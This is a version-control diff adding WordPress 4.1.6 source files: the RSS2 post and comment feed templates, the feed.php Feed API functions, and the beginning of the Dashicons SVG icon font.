+	<link><?php (is_single()) ? the_permalink_rss() : bloginfo_rss("url") ?></link>
+	<description><?php bloginfo_rss("description") ?></description>
+	<lastBuildDate><?php echo mysql2date('r', get_lastcommentmodified('GMT')); ?></lastBuildDate>
+	<sy:updatePeriod><?php
+		/** This filter is documented in wp-includes/feed-rss2.php */
+		echo apply_filters( 'rss_update_period', 'hourly' );
+	?></sy:updatePeriod>
+	<sy:updateFrequency><?php
+		/** This filter is documented in wp-includes/feed-rss2.php */
+		echo apply_filters( 'rss_update_frequency', '1' );
+	?></sy:updateFrequency>
+	<?php
+	/**
+	 * Fires at the end of the RSS2 comment feed header.
+	 *
+	 * @since 2.3.0
+	 */
+	do_action( 'commentsrss2_head' );
+
+	if ( have_comments() ) : while ( have_comments() ) : the_comment();
+		$comment_post = $GLOBALS['post'] = get_post( $comment->comment_post_ID );
+	?>
+	<item>
+		<title><?php
+			if ( !is_singular() ) {
+				$title = get_the_title($comment_post->ID);
+				/** This filter is documented in wp-includes/feed.php */
+				$title = apply_filters( 'the_title_rss', $title );
+				printf(ent2ncr(__('Comment on %1$s by %2$s')), $title, get_comment_author_rss());
+			} else {
+				printf(ent2ncr(__('By: %s')), get_comment_author_rss());
+			}
+		?></title>
+		<link><?php comment_link() ?></link>
+		<dc:creator><![CDATA[<?php echo get_comment_author_rss() ?>]]></dc:creator>
+		<pubDate><?php echo mysql2date('D, d M Y H:i:s +0000', get_comment_time('Y-m-d H:i:s', true, false), false); ?></pubDate>
+		<guid isPermaLink="false"><?php comment_guid() ?></guid>
+<?php if ( post_password_required($comment_post) ) : ?>
+		<description><?php echo ent2ncr(__('Protected Comments: Please enter your password to view comments.')); ?></description>
+		<content:encoded><![CDATA[<?php echo get_the_password_form() ?>]]></content:encoded>
+<?php else : // post pass ?>
+		<description><![CDATA[<?php comment_text_rss() ?>]]></description>
+		<content:encoded><![CDATA[<?php comment_text() ?>]]></content:encoded>
+<?php endif; // post pass
+	/**
+	 * Fires at the end of each RSS2 comment feed item.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param int $comment->comment_ID The ID of the comment being displayed.
+	 * @param int $comment_post->ID    The ID of the post the comment is connected to.
+	 */
+	do_action( 'commentrss2_item', $comment->comment_ID, $comment_post->ID );
+?>
+	</item>
+<?php endwhile; endif; ?>
+</channel>
+</rss>
Index: /tags/4.1.6/src/wp-includes/feed-rss2.php
===================================================================
--- /tags/4.1.6/src/wp-includes/feed-rss2.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/feed-rss2.php	(revision 33402)
@@ -0,0 +1,117 @@
+<?php
+/**
+ * RSS2 Feed Template for displaying RSS2 Posts feed.
+ *
+ * @package WordPress
+ */
+
+header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true);
+$more = 1;
+
+echo '<?xml version="1.0" encoding="'.get_option('blog_charset').'"?'.'>';
+
+/**
+ * Fires between the xml and rss tags in a feed.
+ *
+ * @since 4.0.0
+ *
+ * @param string $context Type of feed. Possible values include 'rss2', 'rss2-comments',
+ *                        'rdf', 'atom', and 'atom-comments'.
+ */
+do_action( 'rss_tag_pre', 'rss2' );
+?>
+<rss version="2.0"
+	xmlns:content="http://purl.org/rss/1.0/modules/content/"
+	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
+	xmlns:dc="http://purl.org/dc/elements/1.1/"
+	xmlns:atom="http://www.w3.org/2005/Atom"
+	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
+	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
+	<?php
+	/**
+	 * Fires at the end of the RSS root to add namespaces.
+	 *
+	 * @since 2.0.0
+	 */
+	do_action( 'rss2_ns' );
+	?>
+>
+
+<channel>
+	<title><?php bloginfo_rss('name'); wp_title_rss(); ?></title>
+	<atom:link href="<?php self_link(); ?>" rel="self" type="application/rss+xml" />
+	<link><?php bloginfo_rss('url') ?></link>
+	<description><?php bloginfo_rss("description") ?></description>
+	<lastBuildDate><?php echo mysql2date('D, d M Y H:i:s +0000', get_lastpostmodified('GMT'), false); ?></lastBuildDate>
+	<language><?php bloginfo_rss( 'language' ); ?></language>
+	<sy:updatePeriod><?php
+		$duration = 'hourly';
+
+		/**
+		 * Filter how often to update the RSS feed.
+		 *
+		 * @since 2.1.0
+		 *
+		 * @param string $duration The update period. Accepts 'hourly', 'daily', 'weekly', 'monthly',
+		 *                         'yearly'. Default 'hourly'.
+		 */
+		echo apply_filters( 'rss_update_period', $duration );
+	?></sy:updatePeriod>
+	<sy:updateFrequency><?php
+		$frequency = '1';
+
+		/**
+		 * Filter the RSS update frequency.
+		 *
+		 * @since 2.1.0
+		 *
+		 * @param string $frequency An integer passed as a string representing the frequency
+		 *                          of RSS updates within the update period. Default '1'.
+		 */
+		echo apply_filters( 'rss_update_frequency', $frequency );
+	?></sy:updateFrequency>
+	<?php
+	/**
+	 * Fires at the end of the RSS2 Feed Header.
+	 *
+	 * @since 2.0.0
+	 */
+	do_action( 'rss2_head');
+
+	while( have_posts()) : the_post();
+	?>
+	<item>
+		<title><?php the_title_rss() ?></title>
+		<link><?php the_permalink_rss() ?></link>
+		<comments><?php comments_link_feed(); ?></comments>
+		<pubDate><?php echo mysql2date('D, d M Y H:i:s +0000', get_post_time('Y-m-d H:i:s', true), false); ?></pubDate>
+		<dc:creator><![CDATA[<?php the_author() ?>]]></dc:creator>
+		<?php the_category_rss('rss2') ?>
+
+		<guid isPermaLink="false"><?php the_guid(); ?></guid>
+<?php if (get_option('rss_use_excerpt')) : ?>
+		<description><![CDATA[<?php the_excerpt_rss(); ?>]]></description>
+<?php else : ?>
+		<description><![CDATA[<?php the_excerpt_rss(); ?>]]></description>
+	<?php $content = get_the_content_feed('rss2'); ?>
+	<?php if ( strlen( $content ) > 0 ) : ?>
+		<content:encoded><![CDATA[<?php echo $content; ?>]]></content:encoded>
+	<?php else : ?>
+		<content:encoded><![CDATA[<?php the_excerpt_rss(); ?>]]></content:encoded>
+	<?php endif; ?>
+<?php endif; ?>
+		<wfw:commentRss><?php echo esc_url( get_post_comments_feed_link(null, 'rss2') ); ?></wfw:commentRss>
+		<slash:comments><?php echo get_comments_number(); ?></slash:comments>
+<?php rss_enclosure(); ?>
+	<?php
+	/**
+	 * Fires at the end of each RSS2 feed item.
+	 *
+	 * @since 2.0.0
+	 */
+	do_action( 'rss2_item' );
+	?>
+	</item>
+	<?php endwhile; ?>
+</channel>
+</rss>
Index: /tags/4.1.6/src/wp-includes/feed.php
===================================================================
--- /tags/4.1.6/src/wp-includes/feed.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/feed.php	(revision 33402)
@@ -0,0 +1,651 @@
+<?php
+/**
+ * WordPress Feed API
+ *
+ * Many of the functions used in here belong in The Loop, or The Loop for the
+ * Feeds.
+ *
+ * @package WordPress
+ * @subpackage Feed
+ */
+
+/**
+ * RSS container for the bloginfo function.
+ *
+ * You can retrieve anything that you can using the get_bloginfo() function.
+ * Everything will be stripped of tags and characters converted, when the values
+ * are retrieved for use in the feeds.
+ *
+ * @since 1.5.1
+ * @see get_bloginfo() For the list of possible values to display.
+ *
+ * @param string $show See get_bloginfo() for possible values.
+ * @return string
+ */
+function get_bloginfo_rss($show = '') {
+	$info = strip_tags(get_bloginfo($show));
+	/**
+	 * Filter the bloginfo for use in RSS feeds.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @see convert_chars()
+	 * @see get_bloginfo()
+	 *
+	 * @param string $info Converted string value of the blog information.
+	 * @param string $show The type of blog information to retrieve.
+	 */
+	return apply_filters( 'get_bloginfo_rss', convert_chars( $info ), $show );
+}
+
+/**
+ * Display RSS container for the bloginfo function.
+ *
+ * You can retrieve anything that you can using the get_bloginfo() function.
+ * Everything will be stripped of tags and characters converted, when the values
+ * are retrieved for use in the feeds.
+ *
+ * @since 0.71
+ * @see get_bloginfo() For the list of possible values to display.
+ *
+ * @param string $show See get_bloginfo() for possible values.
+ */
+function bloginfo_rss($show = '') {
+	/**
+	 * Filter the bloginfo for display in RSS feeds.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @see get_bloginfo()
+	 *
+	 * @param string $rss_container RSS container for the blog information.
+	 * @param string $show          The type of blog information to retrieve.
+	 */
+	echo apply_filters( 'bloginfo_rss', get_bloginfo_rss( $show ), $show );
+}
+
+/**
+ * Retrieve the default feed.
+ *
+ * The default feed is 'rss2', unless a plugin changes it through the
+ * 'default_feed' filter.
+ *
+ * @since 2.5.0
+ *
+ * @return string Default feed, or for example 'rss2', 'atom', etc.
+ */
+function get_default_feed() {
+	/**
+	 * Filter the default feed type.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param string $feed_type Type of default feed. Possible values include 'rss2', 'atom'.
+	 *                          Default 'rss2'.
+	 */
+	$default_feed = apply_filters( 'default_feed', 'rss2' );
+	return 'rss' == $default_feed ? 'rss2' : $default_feed;
+}
+
+/**
+ * Retrieve the blog title for the feed title.
+ *
+ * @since 2.2.0
+ *
+ * @param string $sep Optional. How to separate the title. See wp_title() for more info.
+ * @return string Error message on failure or blog title on success.
+ */
+function get_wp_title_rss( $sep = '&#187;' ) {
+	$title = wp_title( $sep, false );
+
+	if ( is_wp_error( $title ) ) {
+		return $title->get_error_message();
+	}
+
+	if ( $title && $sep && ' ' !== substr( $title, 0, 1 ) ) {
+		$title = " $sep " . $title;
+	}
+
+	/**
+	 * Filter the blog title for use as the feed title.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param string $title The current blog title.
+	 * @param string $sep   Separator used by wp_title().
+	 */
+	$title = apply_filters( 'get_wp_title_rss', $title, $sep );
+	return $title;
+}
+
+/**
+ * Display the blog title for display of the feed title.
+ *
+ * @since 2.2.0
+ * @see wp_title() $sep parameter usage.
+ *
+ * @param string $sep Optional.
+ */
+function wp_title_rss( $sep = '&#187;' ) {
+	/**
+	 * Filter the blog title for display of the feed title.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @see get_wp_title_rss()
+	 *
+	 * @param string $wp_title The current blog title.
+	 * @param string $sep      Separator used by wp_title().
+	 */
+	echo apply_filters( 'wp_title_rss', get_wp_title_rss( $sep ), $sep );
+}
+
+/**
+ * Retrieve the current post title for the feed.
+ *
+ * @since 2.0.0
+ *
+ * @return string Current post title.
+ */
+function get_the_title_rss() {
+	$title = get_the_title();
+	/**
+	 * Filter the post title for use in a feed.
+	 *
+	 * @since 1.2.0
+	 *
+	 * @param string $title The current post title.
+	 */
+	$title = apply_filters( 'the_title_rss', $title );
+	return $title;
+}
+
+/**
+ * Display the post title in the feed.
+ *
+ * @since 0.71
+ */
+function the_title_rss() {
+	echo get_the_title_rss();
+}
+
+/**
+ * Retrieve the post content for feeds.
+ *
+ * @since 2.9.0
+ * @see get_the_content()
+ *
+ * @param string $feed_type The type of feed. rss2 | atom | rss | rdf
+ * @return string The filtered content.
+ */
+function get_the_content_feed($feed_type = null) {
+	if ( !$feed_type )
+		$feed_type = get_default_feed();
+
+	/** This filter is documented in wp-includes/post-template.php */
+	$content = apply_filters( 'the_content', get_the_content() );
+	$content = str_replace(']]>', ']]&gt;', $content);
+	/**
+	 * Filter the post content for use in feeds.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param string $content   The current post content.
+	 * @param string $feed_type Type of feed. Possible values include 'rss2', 'atom'.
+	 *                          Default 'rss2'.
+	 */
+	return apply_filters( 'the_content_feed', $content, $feed_type );
+}
+
+/**
+ * Display the post content for feeds.
+ *
+ * @since 2.9.0
+ *
+ * @param string $feed_type The type of feed. rss2 | atom | rss | rdf
+ */
+function the_content_feed($feed_type = null) {
+	echo get_the_content_feed($feed_type);
+}
+
+/**
+ * Display the post excerpt for the feed.
+ *
+ * @since 0.71
+ */
+function the_excerpt_rss() {
+	$output = get_the_excerpt();
+	/**
+	 * Filter the post excerpt for a feed.
+	 *
+	 * @since 1.2.0
+	 *
+	 * @param string $output The current post excerpt.
+	 */
+	echo apply_filters( 'the_excerpt_rss', $output );
+}
+
+/**
+ * Display the permalink to the post for use in feeds.
+ *
+ * @since 2.3.0
+ */
+function the_permalink_rss() {
+	/**
+	 * Filter the permalink to the post for use in feeds.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param string $post_permalink The current post permalink.
+	 */
+	echo esc_url( apply_filters( 'the_permalink_rss', get_permalink() ) );
+}
+
+/**
+ * Outputs the link to the comments for the current post in an xml safe way
+ *
+ * @since 3.0.0
+ * @return none
+ */
+function comments_link_feed() {
+	/**
+	 * Filter the comments permalink for the current post.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param string $comment_permalink The current comment permalink with
+	 *                                  '#comments' appended.
+	 */
+	echo esc_url( apply_filters( 'comments_link_feed', get_comments_link() ) );
+}
+
+/**
+ * Display the feed GUID for the current comment.
+ *
+ * @since 2.5.0
+ *
+ * @param int|object $comment_id Optional comment object or id. Defaults to global comment object.
+ */
+function comment_guid($comment_id = null) {
+	echo esc_url( get_comment_guid($comment_id) );
+}
+
+/**
+ * Retrieve the feed GUID for the current comment.
+ *
+ * @since 2.5.0
+ *
+ * @param int|object $comment_id Optional comment object or id. Defaults to global comment object.
+ * @return false|string false on failure or guid for comment on success.
+ */
+function get_comment_guid($comment_id = null) {
+	$comment = get_comment($comment_id);
+
+	if ( !is_object($comment) )
+		return false;
+
+	return get_the_guid($comment->comment_post_ID) . '#comment-' . $comment->comment_ID;
+}
+
+/**
+ * Display the link to the comments.
+ *
+ * @since 1.5.0
+ */
+function comment_link() {
+	/**
+	 * Filter the current comment's permalink.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @see get_comment_link()
+	 *
+	 * @param string $comment_permalink The current comment permalink.
+	 */
+	echo esc_url( apply_filters( 'comment_link', get_comment_link() ) );
+}
+
+/**
+ * Retrieve the current comment author for use in the feeds.
+ *
+ * @since 2.0.0
+ *
+ * @return string Comment Author
+ */
+function get_comment_author_rss() {
+	/**
+	 * Filter the current comment author for use in a feed.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @see get_comment_author()
+	 *
+	 * @param string $comment_author The current comment author.
+	 */
+	return apply_filters( 'comment_author_rss', get_comment_author() );
+}
+
+/**
+ * Display the current comment author in the feed.
+ *
+ * @since 1.0.0
+ */
+function comment_author_rss() {
+	echo get_comment_author_rss();
+}
+
+/**
+ * Display the current comment content for use in the feeds.
+ *
+ * @since 1.0.0
+ */
+function comment_text_rss() {
+	$comment_text = get_comment_text();
+	/**
+	 * Filter the current comment content for use in a feed.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string $comment_text The content of the current comment.
+	 */
+	$comment_text = apply_filters( 'comment_text_rss', $comment_text );
+	echo $comment_text;
+}
+
+/**
+ * Retrieve all of the post categories, formatted for use in feeds.
+ *
+ * All of the categories for the current post in the feed loop, will be
+ * retrieved and have feed markup added, so that they can easily be added to the
+ * RSS2, Atom, or RSS1 and RSS0.91 RDF feeds.
+ *
+ * @since 2.1.0
+ *
+ * @param string $type Optional, default is the type returned by get_default_feed().
+ * @return string All of the post categories for displaying in the feed.
+ */
+function get_the_category_rss($type = null) {
+	if ( empty($type) )
+		$type = get_default_feed();
+	$categories = get_the_category();
+	$tags = get_the_tags();
+	$the_list = '';
+	$cat_names = array();
+
+	$filter = 'rss';
+	if ( 'atom' == $type )
+		$filter = 'raw';
+
+	if ( !empty($categories) ) foreach ( (array) $categories as $category ) {
+		$cat_names[] = sanitize_term_field('name', $category->name, $category->term_id, 'category', $filter);
+	}
+
+	if ( !empty($tags) ) foreach ( (array) $tags as $tag ) {
+		$cat_names[] = sanitize_term_field('name', $tag->name, $tag->term_id, 'post_tag', $filter);
+	}
+
+	$cat_names = array_unique($cat_names);
+
+	foreach ( $cat_names as $cat_name ) {
+		if ( 'rdf' == $type )
+			$the_list .= "\t\t<dc:subject><![CDATA[$cat_name]]></dc:subject>\n";
+		elseif ( 'atom' == $type )
+			$the_list .= sprintf( '<category scheme="%1$s" term="%2$s" />', esc_attr( get_bloginfo_rss( 'url' ) ), esc_attr( $cat_name ) );
+		else
+			$the_list .= "\t\t<category><![CDATA[" . @html_entity_decode( $cat_name, ENT_COMPAT, get_option('blog_charset') ) . "]]></category>\n";
+	}
+
+	/**
+	 * Filter all of the post categories for display in a feed.
+	 *
+	 * @since 1.2.0
+	 *
+	 * @param string $the_list All of the RSS post categories.
+	 * @param string $type     Type of feed. Possible values include 'rss2', 'atom'.
+	 *                         Default 'rss2'.
+	 */
+	return apply_filters( 'the_category_rss', $the_list, $type );
+}
+
+/**
+ * Display the post categories in the feed.
+ *
+ * @since 0.71
+ * @see get_the_category_rss() For better explanation.
+ *
+ * @param string $type Optional, default is the type returned by get_default_feed().
+ */
+function the_category_rss($type = null) {
+	echo get_the_category_rss($type);
+}
+
+/**
+ * Display the HTML type based on the blog setting.
+ *
+ * The two possible values are either 'xhtml' or 'html'.
+ *
+ * @since 2.2.0
+ */
+function html_type_rss() {
+	$type = get_bloginfo('html_type');
+	if (strpos($type, 'xhtml') !== false)
+		$type = 'xhtml';
+	else
+		$type = 'html';
+	echo $type;
+}
+
+/**
+ * Display the rss enclosure for the current post.
+ *
+ * Uses the global $post to check whether the post requires a password and if
+ * the user has the password for the post. If not then it will return before
+ * displaying.
+ *
+ * Also uses the function get_post_custom() to get the post's 'enclosure'
+ * metadata field and parses the value to display the enclosure(s). The
+ * enclosure(s) consist of enclosure HTML tag(s) with a URI and other
+ * attributes.
+ *
+ * @since 1.5.0
+ */
+function rss_enclosure() {
+	if ( post_password_required() )
+		return;
+
+	foreach ( (array) get_post_custom() as $key => $val) {
+		if ($key == 'enclosure') {
+			foreach ( (array) $val as $enc ) {
+				$enclosure = explode("\n", $enc);
+
+				// only get the first element, e.g. audio/mpeg from 'audio/mpeg mpga mp2 mp3'
+				$t = preg_split('/[ \t]/', trim($enclosure[2]) );
+				$type = $t[0];
+
+				/**
+				 * Filter the RSS enclosure HTML link tag for the current post.
+				 *
+				 * @since 2.2.0
+				 *
+				 * @param string $html_link_tag The HTML link tag with a URI and other attributes.
+				 */
+				echo apply_filters( 'rss_enclosure', '<enclosure url="' . trim( htmlspecialchars( $enclosure[0] ) ) . '" length="' . trim( $enclosure[1] ) . '" type="' . $type . '" />' . "\n" );
+			}
+		}
+	}
+}
+
+/**
+ * Display the atom enclosure for the current post.
+ *
+ * Uses the global $post to check whether the post requires a password and if
+ * the user has the password for the post. If not then it will return before
+ * displaying.
+ *
+ * Also uses the function get_post_custom() to get the post's 'enclosure'
+ * metadata field and parses the value to display the enclosure(s). The
+ * enclosure(s) consist of link HTML tag(s) with a URI and other attributes.
+ *
+ * @since 2.2.0
+ */
+function atom_enclosure() {
+	if ( post_password_required() )
+		return;
+
+	foreach ( (array) get_post_custom() as $key => $val ) {
+		if ($key == 'enclosure') {
+			foreach ( (array) $val as $enc ) {
+				$enclosure = explode("\n", $enc);
+				/**
+				 * Filter the atom enclosure HTML link tag for the current post.
+				 *
+				 * @since 2.2.0
+				 *
+				 * @param string $html_link_tag The HTML link tag with a URI and other attributes.
+				 */
+				echo apply_filters( 'atom_enclosure', '<link href="' . trim( htmlspecialchars( $enclosure[0] ) ) . '" rel="enclosure" length="' . trim( $enclosure[1] ) . '" type="' . trim( $enclosure[2] ) . '" />' . "\n" );
+			}
+		}
+	}
+}
+
+/**
+ * Determine the type of a string of data with the data formatted.
+ *
+ * Tell whether the type is text, html, or xhtml, per RFC 4287 section 3.1.
+ *
+ * In the case of WordPress, text is defined as containing no markup,
+ * xhtml is defined as "well formed", and html as tag soup (i.e., the rest).
+ *
+ * Container div tags are added to xhtml values, per section 3.1.1.3.
+ *
+ * @link http://www.atomenabled.org/developers/syndication/atom-format-spec.php#rfc.section.3.1
+ *
+ * @since 2.5.0
+ *
+ * @param string $data Input string
+ * @return array array(type, value)
+ */
+function prep_atom_text_construct($data) {
+	if (strpos($data, '<') === false && strpos($data, '&') === false) {
+		return array('text', $data);
+	}
+
+	$parser = xml_parser_create();
+	xml_parse($parser, '<div>' . $data . '</div>', true);
+	$code = xml_get_error_code($parser);
+	xml_parser_free($parser);
+
+	if (!$code) {
+		if (strpos($data, '<') === false) {
+			return array('text', $data);
+		} else {
+			$data = "<div xmlns='http://www.w3.org/1999/xhtml'>$data</div>";
+			return array('xhtml', $data);
+		}
+	}
+
+	if (strpos($data, ']]>') == false) {
+		return array('html', "<![CDATA[$data]]>");
+	} else {
+		return array('html', htmlspecialchars($data));
+	}
+}
+
+/**
+ * Display the link for the currently displayed feed in a XSS safe way.
+ *
+ * Generate a correct link for the atom:self element.
+ *
+ * @since 2.5.0
+ */
+function self_link() {
+	$host = @parse_url(home_url());
+	/**
+	 * Filter the current feed URL.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @see set_url_scheme()
+	 * @see wp_unslash()
+	 *
+	 * @param string $feed_link The link for the feed with set URL scheme.
+	 */
+	echo esc_url( apply_filters( 'self_link', set_url_scheme( 'http://' . $host['host'] . wp_unslash( $_SERVER['REQUEST_URI'] ) ) ) );
+}
+
+/**
+ * Return the content type for specified feed type.
+ *
+ * @since 2.8.0
+ */
+function feed_content_type( $type = '' ) {
+	if ( empty($type) )
+		$type = get_default_feed();
+
+	$types = array(
+		'rss'  => 'application/rss+xml',
+		'rss2' => 'application/rss+xml',
+		'rss-http'  => 'text/xml',
+		'atom' => 'application/atom+xml',
+		'rdf'  => 'application/rdf+xml'
+	);
+
+	$content_type = ( !empty($types[$type]) ) ? $types[$type] : 'application/octet-stream';
+
+	/**
+	 * Filter the content type for a specific feed type.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string $content_type Content type indicating the type of data that a feed contains.
+	 * @param string $type         Type of feed. Possible values include 'rss2', 'atom'.
+	 *                             Default 'rss2'.
+	 */
+	return apply_filters( 'feed_content_type', $content_type, $type );
+}
+
+/**
+ * Build SimplePie object based on RSS or Atom feed from URL.
+ *
+ * @since 2.8.0
+ *
+ * @param mixed $url URL of feed to retrieve. If an array of URLs, the feeds are merged
+ * using SimplePie's multifeed feature.
+ * See also {@link ​http://simplepie.org/wiki/faq/typical_multifeed_gotchas}
+ *
+ * @return WP_Error|SimplePie WP_Error object on failure or SimplePie object on success
+ */
+function fetch_feed( $url ) {
+	require_once( ABSPATH . WPINC . '/class-feed.php' );
+
+	$feed = new SimplePie();
+
+	$feed->set_sanitize_class( 'WP_SimplePie_Sanitize_KSES' );
+	// We must manually overwrite $feed->sanitize because SimplePie's
+	// constructor sets it before we have a chance to set the sanitization class
+	$feed->sanitize = new WP_SimplePie_Sanitize_KSES();
+
+	$feed->set_cache_class( 'WP_Feed_Cache' );
+	$feed->set_file_class( 'WP_SimplePie_File' );
+
+	$feed->set_feed_url( $url );
+	/** This filter is documented in wp-includes/class-feed.php */
+	$feed->set_cache_duration( apply_filters( 'wp_feed_cache_transient_lifetime', 12 * HOUR_IN_SECONDS, $url ) );
+	/**
+	 * Fires just before processing the SimplePie feed object.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param object &$feed SimplePie feed object, passed by reference.
+	 * @param mixed  $url   URL of feed to retrieve. If an array of URLs, the feeds are merged.
+	 */
+	do_action_ref_array( 'wp_feed_options', array( &$feed, $url ) );
+	$feed->init();
+	$feed->handle_content_type();
+
+	if ( $feed->error() )
+		return new WP_Error( 'simplepie-error', $feed->error() );
+
+	return $feed;
+}
Index: /tags/4.1.6/src/wp-includes/fonts/dashicons.svg
===================================================================
--- /tags/4.1.6/src/wp-includes/fonts/dashicons.svg	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/fonts/dashicons.svg	(revision 33402)
@@ -0,0 +1,253 @@
+<?xml version="1.0" standalone="no"?>
+<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
+<svg xmlns="http://www.w3.org/2000/svg">
+<metadata></metadata>
+<defs>
+<font id="dashiconsregular" horiz-adv-x="2000" >
+<font-face units-per-em="2000" ascent="2000" descent="0" />
+<missing-glyph horiz-adv-x="500" />
+<glyph unicode="&#x25fc;" horiz-adv-x="500" d="M0 0z" />
+<glyph unicode="&#xf100;" d="M1448 894l-707 707l150 150q25 28 85 34.5t134 -11t132 -55.5q45 -30 126.5 -97t164.5 -113q43 -24 73 -38t76.5 -30.5t87.5 -23t95.5 -6t112.5 12.5zM1377 823l-707 707l-177 -177q-29 -29 -29 -70.5t29 -70.5l106 -106q29 -29 29 -71t-29 -71q-27 -27 -61.5 -54 t-86 -63t-73.5 -52q-66 -49 -101 -84q-52 -52 -92 -108.5t-64 -113t-20.5 -108.5t39.5 -88t88 -39.5t108.5 20.5t113 63.5t108.5 91.5q34 34 85 102q13 17 51 72t64 88.5t54 60.5q29 29 70.5 29t70.5 -29l106 -106q29 -29 70.5 -29t70.5 29z" />
+<glyph unicode="&#xf101;" d="M500 1800h900q82 0 141 -59t59 -141v-700q0 -82 -59 -141t-141 -59h-200l-500 -500v500h-200q-82 0 -141 59t-59 141v700q0 82 59 141t141 59z" />
+<glyph unicode="&#xf102;" d="M1600 1150l153 -153l-106 -106l-647 647l-647 -647l-106 106l753 753l400 -400v200h200v-400zM1000 1396l600 -599v-597h-1200v597zM1200 300v500h-400v-500h400z" />
+<glyph unicode="&#xf103;" d="M1774 1724q126 -127 126 -305t-126 -305l-153 -152q-82 -82 -195 -110.5t-219 1.5l262 261l76 77l76 76q63 63 63 152t-63 152q-63 64 -152 64t-152 -64l-77 -76l-338 -338q-29 106 -0.5 219t110.5 195l152 153q127 126 305.5 126t304.5 -126zM859 657l534 534 q31 31 31 76t-31 76q-34 32 -78 31t-75 -31l-533 -534q-31 -31 -31 -76t31 -76q34 -32 78 -31t74 31zM783 428l414 415q30 -106 1.5 -219t-110.5 -195l-152 -153q-127 -126 -305 -126t-305 126q-126 126 -126 305t126 305l153 152q82 82 195 110.5t219 -0.5l-414 -415 q-64 -63 -64 -152t64 -153q63 -63 152 -63t152 63z" />
+<glyph unicode="&#xf104;" d="M1300 900v700q0 41 -29.5 70.5t-70.5 29.5h-167l-133 200h-400l-133 -200h-167q-41 0 -70.5 -29.5t-29.5 -70.5v-700q0 -41 29.5 -70.5t70.5 -29.5h1000q41 0 70.5 29.5t29.5 70.5zM700 1550q104 0 177 -73t73 -177t-73 -177t-177 -73t-177 73t-73 177t73 177t177 73z M1400 1400h500v-1050q0 -104 -73 -177t-177 -73t-177 73t-73 177t73 177t177 73q23 0 50 -5v505h-300v300zM1000 595v105h200v-350q0 -104 -73 -177t-177 -73t-177 73t-73 177t73 177t177 73q23 0 50 -5z" />
+<glyph unicode="&#xf105;" d="M600 500v1300h1000v-1300h-1000zM500 400h800v-200h-1000v1300h200v-1100z" />
+<glyph unicode="&#xf106;" d="M1311 1564l-324 -324l-187 187l324 324q26 26 72 16.5t84 -48.5q39 -38 48 -83.5t-17 -71.5zM511 1387l91 112l901 -901l-119 -84q-50 -50 -167.5 -83t-214.5 -33h-388l-124 -124q-44 -44 -106 -44t-106 44q-44 43 -44 105.5t44 106.5l124 124v388q0 96 30.5 218 t78.5 171zM1237 990l324 324q25 26 71 17t84 -48q39 -38 48 -83.5t-17 -71.5l-324 -325z" />
+<glyph unicode="&#xf107;" d="M1668 1023q-99 -99 -236 -125t-259 26l-541 -652q-74 -74 -179 -74t-179 74t-74 179t74 178l652 542q-52 122 -26 259t125 236q94 94 224 122t248 -16l-289 -289l282 -282l286 287q41 -117 13 -244.5t-121 -220.5zM381 379q30 -29 72 -29t71 29q30 30 30 72t-30 71 q-29 30 -71 30t-72 -30q-29 -29 -29 -71t29 -72z" />
+<glyph unicode="&#xf108;" d="M1800 400v1200q0 41 -29.5 70.5t-70.5 29.5h-1300q-41 0 -70.5 -29.5t-29.5 -70.5v-1200q0 -41 29.5 -70.5t70.5 -29.5h1300q41 0 70.5 29.5t29.5 70.5zM800 900h100q41 0 70.5 -29.5t29.5 -70.5t-29.5 -70.5t-70.5 -29.5h-100v-150q0 -21 -14.5 -35.5t-35.5 -14.5 t-35.5 14.5t-14.5 35.5v150h-100q-41 0 -70.5 29.5t-29.5 70.5t29.5 70.5t70.5 29.5h100v550q0 21 14.5 35.5t35.5 14.5t35.5 -14.5t14.5 -35.5v-550zM1300 1100h-100q-41 0 -70.5 29.5t-29.5 70.5t29.5 70.5t70.5 29.5h100v150q0 21 14.5 35.5t35.5 14.5t35.5 -14.5 t14.5 -35.5v-150h100q41 0 70.5 -29.5t29.5 -70.5t-29.5 -70.5t-70.5 -29.5h-100v-550q0 -21 -14.5 -35.5t-35.5 -14.5t-35.5 14.5t-14.5 35.5v550z" />
+<glyph unicode="&#xf109;" d="M1044 1698l182 182l636 -635l-183 -182q-78 52 -175 42.5t-166 -78.5l-75 -75q-68 -69 -77.5 -165.5t42.5 -175.5l-183 -182l-241 241l-280 -279q-54 -54 -203.5 -155t-176.5 -74t74 177.5t154 203.5l279 279l-241 242l183 182q78 -52 175 -42.5t165 78.5l75 75 q69 68 78.5 165t-42.5 176z" />
+<glyph unicode="&#xf110;" d="M1000 1075q-46 0 -86.5 19t-67.5 49.5t-49 67t-34.5 73t-21 67t-11.5 49.5l-3 19q-6 55 -3 108.5t24.5 103t53 87t82.5 60t113 22.5q103 0 171 -59t91 -144t9 -178q-1 -7 -3 -19.5t-10.5 -48t-20.5 -68t-33.5 -72.5t-48 -68.5t-66.5 -48t-86 -19.5zM1000 833l272 182 q116 0 221.5 -67t168 -172t62.5 -214v-249q-15 -5 -41.5 -12.5t-109 -27t-164.5 -34.5t-195 -27t-214 -12q-102 0 -214.5 11.5t-199.5 28t-159.5 33.5t-111.5 29l-39 11v249q0 112 58 215t162.5 168t226.5 65z" />
